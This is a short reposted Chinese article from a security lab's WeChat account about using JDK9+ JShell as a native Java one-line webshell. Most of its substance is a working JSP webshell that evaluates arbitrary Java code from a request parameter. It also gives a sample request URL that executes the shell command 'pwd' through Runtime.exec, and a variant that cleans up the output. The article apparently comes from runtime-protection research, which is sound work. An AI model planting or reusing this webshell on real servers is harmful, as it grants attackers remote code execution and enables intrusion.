转载

JShell(JDK9+)eval任意Java代码片段执行

点击上方“ 凌天实验室 ”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享

写在之前:

最近几年开发RASP产品期间整理了很多的Java语言的特性~

JDK9开始提供一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。

测试代码:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

就这么简单的一行代码就可以了,src参数值是java代码片段。

JShell(JDK9+)eval任意Java代码片段执行

测试用例:

http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()

如果强迫症想撸掉多余的输出:

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^/"", "").replaceAll("/"$", "")%>
JShell(JDK9+)eval任意Java代码片段执行

JShell(JDK9+)eval任意Java代码片段执行

凌天

实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。

原文  http://mp.weixin.qq.com/s?__biz=MzUyNTk1NDQ3Ng==&mid=2247484684&idx=1&sn=7b86f15f3eaa4aae25c291934d1ea0f2
正文到此结束
Loading...